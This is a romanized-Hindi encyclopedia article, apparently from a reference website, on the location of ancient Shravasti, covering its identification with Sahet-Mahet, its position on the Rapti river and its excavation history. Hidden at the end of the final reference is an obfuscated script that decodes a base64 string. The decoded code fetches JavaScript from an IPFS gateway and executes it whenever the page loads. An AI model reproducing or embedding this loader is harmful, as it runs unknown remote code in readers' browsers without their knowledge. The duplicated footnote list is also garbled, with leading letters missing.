श्रावस्ती की स्थिति

	shravasti ki sthiti
	prachin jain mandir ke avashesh, shravasti\|200px\|center
vivaran	'shravasti' uttar pradesh ke prasiddh aitihasik paryatan sthaloan mean se ek hai. bauddh evan jain tirth sthanoan ke lie shravasti prasiddh hai. yahaan ke utkhanan se puratattv mahattv ki kee vastuean mili haian.
zila	shravasti
nirman kal	prachin kal se hi ramayan, mahabharat tatha jain, bauddh sahity adi mean anek ullekh.
marg sthiti	shravasti balaramapur se 17 ki.mi., lakhanoo se 176 ki.mi., kanapur se 249 ki.mi., ilahabad se 262 ki.mi., dilli se 562 ki.mi. ki doori par hai.
prasiddhi	puravashesh, aitihasik evan pauranik sthal.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	lakhanoo havaee adda
relave steshan	balaramapur relave steshan
bas adda	mega tarminas goanda, shravasti shahar se 50 ki.mi. ki doori par hai.
sanbandhit lekh	jetavan, shobhanath mandir, moolagandh kuti vihar, kaushal mahajanapad adi. ;

shravasti vishay soochi

shravasti parichay sthiti namakaran vikas mahakavyoan tatha puranoan mean varnan jatakoan mean varnan bauddh sahity mean ullekh jain granthoan mean ullekh fahyan ka varnan hven tsaang ka varnan utkhanan kary sahet ka utkhanan mahet ka utkhanan

shravasti bharat ke uttar pradesh rajy ke goanda-baharaich ziloan ki sima par sthit jain aur bauddh anuyayiyoan ka tirth sthan hai. goanda-balaramapur se 12 mil pashchim mean adhunik 'sahet-mahet' gaanv hi prachin shravasti hai. pahale yah kaushal desh ki doosari rajadhani thi. aisi pauranik manyata hai ki bhagavan ram ke putr lav kush ne ise apani rajadhani banaya tha. shravasti bauddh tatha jain donoan ka tirth sthan hai. tathagat (buddh) shravasti mean rahe the. yahaan ke shreshthi anathapiandak ne bhagavan buddh ke liye jetavan vihar banavaya tha. ajakal yahaan bauddh dharmashala, math aur mandir hai.

prachin nagar

yah kosal-janapad ka ek pramukh nagar tha. yahaan ka doosara prasiddh nagar ayodhya tha. shravasti nagar achiravati nadi ke tat par basa tha, jisaki pahachan adhunik rapti nadi se ki jati hai. is sarita ke tat par sthit aj ka 'sahet-mahet' prachin shravasti ka pratinidhi hai. is nagar ka yah nam kyoan p da, is sanbandh mean kee tarah ke varnan milate haian. bauddh dharm ke granthoan ke anusar is samriddh nagar mean dainik jivan mean kam ane vali sabhi chhoti-b di chizean bahutayat mean b di suvidha se mil jati thian. yahaan manushyoan ke upabhog-paribhog ki sabhi vastuean sulabh thian; at: ise 'savatthi' (sabb atthi) kaha jata tha.

"yan kian ch manussan upabhog-paribhogan sabban etth atthiti savattho."^[1]

sthiti

prachin shravasti ke avashesh adhunik 'sahet-mahet' namak sthanoan par prapt hue haian.^[2] yah nagar 27°51’ uttari akshaansh aur 82°05’ poorvi deshaantar par sthir tha.^[3] ‘sahet’ ka samikaran ‘jetavan’ se tatha ‘mahet’ ka prachin 'shravasti nagar' se kiya gaya hai. prachin tila evan bhagnavashesh goanda evan baharaich ziloan ki sima par bikhare p de haian, jahaan balaramapur steshan se pahuancha ja sakata hai. baharaich evan balaramapur se isaki doori kramash: 26 evan 10 mil hai.^[4] ajakal ‘sahet’^[5] ka bhag baharaich zile mean aur ‘mahet’ goanda zile mean p data hai. balaramapur-baharaich marg par s dak se 800 phut ki doori par ‘sahet’ sthit hai jabaki ‘mahet’ 1/3 mil ki doori par sthit hai.^[6] vianseant smith ne sarvapratham shravasti ka samikaran 'charada' se kiya tha, jo ‘sahet-mahet’ se 40 mil uttar-pashchim mean sthit hai.^[7] lekin jetavan ke utkhanan se goviand chand gah daval ke 1128 ee. ke ek abhilekh ki prapti se isaka samikaran ‘sahet-mahet’ se nishchit ho gaya hai.^[8]

prachin shravasti nagar achiravati nadi, jisaka adhunik nam rapti hai, ke tat par sthit tha.^[9] yah nadi nagar ke samip hi bahati thi. bauddh yug mean yah nadi nagar ko gher kar bahati thi.^[10] bauddh sahity mean shravasti ka varnan koshal janapad ki rajadhani aur rajagrih se dakshin-pashchim mean kalak aur assak tak jane vale rajamarg par savatthi namak do mahattvapoorn p davoan ke roop mean milata hai.^[11]^[12]

left|30px|link=shravasti ka parichay|pichhe jaean

shravasti ka parichay

shravasti ki sthiti

shravasti ka namakaran

right|30px|link=shravasti ka namakaran|age jaean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ papanchasoodani, bhag-1, prishth sankhya- 59-60
↑ arkiyolajikal sarve aauf iandiya riportas, bhag 1, prishth 330; evan bhag 11, prishth 78
↑ em. veanktarammaiya, shravasti, arkiyolajikal sarve aauph iandiya, dilli 1981, prishth 1
↑ vimalacharan laha, prachin bharat ka aitihasik bhoogol, uttar pradesh hindi granth akadami, lakhanoo, 1972, prishth 210
↑ jetavan
↑ di memayars aauph d arkiyol aaujikal sarve aauph iandiya, bhag 50, dilli 1935 mean uddhrit vimalacharan laha ka lekh ‘shravasti in iandiyan litarechar’, prishth 1
↑ jarnal aauf d r aauyal eshiyatik sosaiti, 1900, prishth 9
↑ arkiyol aaujikal sarve aauf iandiya enual riportas 1907-08, prishth 131-132; vishuddhanand pathak, histri aauf koshal, motilal banarasidas, varanasi, 1963 ee., prishth 63
↑ vinay mahavagg, prishth 191-192; paramatthajotika, prishth 511
↑ rahul saankrityayan, puratattv nibandhavali, ilahabad, 1958), prishth 24
↑ vimalacharan laha, prachin bharat ka aitihasik bhoogol, uttar pradesh hindi granth akadami, lakhanoo, pratham sanskaran, 1972, prishth 211
↑ sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] soodani, bhag-1, prishth sankhya- 59-60

[2] rkiyolajikal sarve aauf iandiya riportas, bhag 1, prishth 330; evan bhag 11, prishth 78

[3] . veanktarammaiya, shravasti, arkiyolajikal sarve aauph iandiya, dilli 1981, prishth 1

[4] vimalacharan laha, prachin bharat ka aitihasik bhoogol, uttar pradesh hindi granth akadami, lakhanoo, 1972, prishth 210

[5] tavan

[6] yars aauph d arkiyol aaujikal sarve aauph iandiya, bhag 50, dilli 1935 mean uddhrit vimalacharan laha ka lekh ‘shravasti in iandiyan litarechar’, prishth 1

[7] rnal aauf d r aauyal eshiyatik sosaiti, 1900, prishth 9

[8] rkiyol aaujikal sarve aauf iandiya enual riportas 1907-08, prishth 131-132; vishuddhanand pathak, histri aauf koshal, motilal banarasidas, varanasi, 1963 ee., prishth 63

[9] vinay mahavagg, prishth 191-192; paramatthajotika, prishth 511

[10] rahul saankrityayan, puratattv nibandhavali, ilahabad, 1958), prishth 24

[11] vimalacharan laha, prachin bharat ka aitihasik bhoogol, uttar pradesh hindi granth akadami, lakhanoo, pratham sanskaran, 1972, prishth 211

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